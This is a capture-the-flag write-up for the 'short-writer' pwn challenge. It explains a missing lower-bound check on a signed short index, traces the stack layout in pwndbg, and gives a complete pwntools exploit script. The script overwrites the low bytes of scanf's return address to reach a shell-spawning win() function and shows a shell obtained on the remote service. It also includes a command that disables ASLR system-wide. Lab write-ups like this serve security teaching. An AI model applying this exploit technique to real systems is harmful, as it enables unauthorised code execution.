short-writer
Overview

short-writer

January 26, 2026
4 min read
0

short-writer

Category
pwn
Files
chal main.c Dockerfile
Description
The revenge round of Integer Writer

Program Analysis

The program is straightforward. It contains a win() function that spawns a shell.

void win() {
execve("/bin/sh", NULL, NULL);
}

In main(), we see the core logic:

// gcc -o chal main.c
#include <stdio.h>
#include <string.h>
#include <unistd.h>
/*
** How to get the address of `win` **
$ nm chal | grep win
XXXXXXXXX
*/
void win() {
execve("/bin/sh", NULL, NULL);
}
int main(void) {
short shorts[100], pos;
/* disable stdio buffering */
setbuf(stdin, NULL);
setbuf(stdout, NULL);
setbuf(stderr, NULL);
printf("pos > ");
scanf("%hd", &pos);
if (pos >= 100) {
puts("You're a hacker!");
return 1;
}
printf("val > ");
scanf("%hd", &shorts[pos]);
return 0;
}

The program does three simple things:

  1. Asks for a position (pos).
  2. Checks if pos >= 100.
  3. Asks for a value and writes it to shorts[pos].

The vulnerability is obvious: the pos check only verifies the upper bound. Since pos is a short (signed 16-bit integer), we can provide a negative value to index before the shorts array on the stack.

Looking at the disassembly of main, we can see the stack layout:

127b: lea rax,[rbp-0xd2] # pos address
12da: lea rax,[rbp-0xd0] # shorts address
  • pos is at rbp-0xd2.
  • shorts[0] is at rbp-0xd0.

Since each short is 2 bytes, we can calculate the address of shorts[pos] as (rbp-0xd0) + (pos * 2).

Now that we know the bug, let’s move to the exploitation part.

Starting with a basic check of the binary’s protections:

Terminal window
checksec chal
Arch: amd64-64-little
RELRO: Full RELRO
Stack: Canary found
NX: NX enabled
PIE: PIE enabled
SHSTK: Enabled
IBT: Enabled
Stripped: No

The binary has all protections enabled: Full RELRO, Canary, NX, and PIE.

Exploitation

For this challenge, I first turned off aslr for easier debugging:

Terminal window
aslr_off
0

or

Terminal window
echo 0 | sudo tee /proc/sys/kernel/randomize_va_space
0

With PIE enabled, all addresses are randomized at runtime, and Full RELRO prevents GOT overwrites by marking it read-only. Therefore, the only viable exploitation target is the return address of __isoc99_scanf(), which typically returns to main+***.

Debugging with Pwndbg

Breaking at *__isoc99_scanf+201 (the ret instruction):

Terminal window
pwndbg>
────────────────────────────[ DISASM / x86-64 / set emulate on ]─────────────────────────────
0x7ffff7c5fed9 <__isoc99_scanf+201> ret <main+140>
0x555555555299 <main+140> movzx eax, word ptr [rbp - 0xd2] EAX, [0x7fffffffe12e] => 0xfff4
0x5555555552a0 <main+147> cmp ax, 0x63 0xfff4 - 0x63 EFLAGS => 0x282 [ cf pf af zf SF IF df of ac ]
0x5555555552a4 <main+151> jle main+175 <main+175>
0x5555555552bc <main+175> lea rax, [rip + 0xd65] RAX => 0x555555556028 ◂— 0x203e206c6176 /* 'val > ' */
0x5555555552c3 <main+182> mov rdi, rax RDI => 0x555555556028 ◂— 0x203e206c6176 /* 'val > ' */
0x5555555552c6 <main+185> mov eax, 0 EAX => 0
0x5555555552cb <main+190> call printf@plt <printf@plt>
0x5555555552d0 <main+195> movzx eax, word ptr [rbp - 0xd2]
0x5555555552d7 <main+202> movsx edx, ax
0x5555555552da <main+205> lea rax, [rbp - 0xd0]
──────────────────────────────────────────[ STACK ]──────────────────────────────────────────
00:0000│ rsp 0x7fffffffe118 —▸ 0x555555555299 (main+140) ◂— movzx eax, word ptr [rbp - 0xd2]
01:0008│-0e0 0x7fffffffe120 ◂— 0x14
02:0010│-0d8 0x7fffffffe128 ◂— 0xfff4000000000040 /* '@' */
03:0018│-0d0 0x7fffffffe130 ◂— 0x800000
04:0020│-0c8 0x7fffffffe138 ◂— 8
05:0028│-0c0 0x7fffffffe140 ◂— 0xffffffffffffffff
06:0030│-0b8 0x7fffffffe148 ◂— 0x40 /* '@' */
07:0038│-0b0 0x7fffffffe150 ◂— 0xc /* '\x0c' */
────────────────────────────────────────[ BACKTRACE ]────────────────────────────────────────

The stack at 0x7fffffffe118 contains the address of main+140. To overwrite this, we need to find the distance from our shorts array.

Breaking at the second scanf() (*main+239):

Terminal window
pwndbg>
────────────────────────────[ DISASM / x86-64 / set emulate on ]─────────────────────────────
0x5555555552fc <main+239> call __isoc99_scanf@plt <__isoc99_scanf@plt>
format: 0x555555556013 ◂— 0x27756f5900646825 /* '%hd' */
rsi: 0x7fffffffe130 ◂— 0x800000
0x555555555301 <main+244> mov eax, 0 EAX => 0
0x555555555306 <main+249> mov rdx, qword ptr [rbp - 8]
0x55555555530a <main+253> sub rdx, qword ptr fs:[0x28]
0x555555555313 <main+262> je main+269 <main+269>
0x555555555315 <main+264> call __stack_chk_fail@plt <__stack_chk_fail@plt>
0x55555555531a <main+269> leave
b+ 0x55555555531b <main+270> ret
0x55555555531c <_fini> endbr64
0x555555555320 <_fini+4> sub rsp, 8
0x555555555324 <_fini+8> add rsp, 8
─────────────────────────────────────────────────────────────────────────────────────────────
  • shorts[0] is at 0x7fffffffe130.
  • Target return address is at 0x7fffffffe118.

Calculating the offset:

Terminal window
pwndbg> p 0x7fffffffe130 - 0x7fffffffe118
$1 = 24

The difference is 24 bytes. Since we index by short (2 bytes), the required index is: pos = -24 / 2 = -12.

By providing -12 as our pos, we can overwrite the last 2 bytes of the saved instruction pointer main+140. By changing these to the last 2 bytes of the win() function, scanf() will return directly into win() when it finishing reading our value.

Note

Since PIE is enabled, we need to run this multiple times until the base address aligns such that our 2-byte overwrite correctly points to win.

Exploit Script

from pwn import *
def start(argv=[], *a, **kw):
if args.GDB:
return gdb.debug([exe] + argv, gdbscript=gdbscript, *a, **kw)
elif args.REMOTE:
return remote(sys.argv[1], sys.argv[2], *a, **kw)
else:
return process([exe] + argv, *a, **kw)
gdbscript = '''
init-pwndbg
set follow-fork-mode parent
set follow-exec-mode same
b main
b *main+135
b *main+239
b *main+270
b *__isoc99_scanf+201
continue
'''.format(**locals())
exe = './chal'
elf = context.binary = ELF(exe, checksec=False)
context.terminal = ['tmux', 'splitw', '-h']
context.log_level = 'debug'
def logleak(name, val): log.success(name+' = %#x' % val)
def loglibc(): log.success('libc addr = %#x' % libc.address)
def logbase(): log.success('pie addr = %#x' % elf.address)
def sa(delim,data): return io.sendafter(delim,data)
def sla(delim,line): return io.sendlineafter(delim,line)
def sl(line): return io.sendline(line)
# ===========================================================
# EXPLOIT GOES HERE
# ===========================================================
# Lib-C library, can use pwninit/patchelf to patch binary
# libc = ELF("./libc.so.6")
# ld = ELF("./ld-2.27.so")
offset = 72
io = start()
win = elf.sym["win"] & 0x0fff
sla(b'> ',str(-12))
sla(b'> ',str(win))
io.interactive()

Running the exploit:

Terminal window
python3 exploit.py REMOTE <ip> <port>
[+] Opening connection to <ip> on port <port>: Done
[*] Switching to interactive mode
$ id
uid=999(pwn) gid=999(pwn) groups=999(pwn)

Another daily challenge down!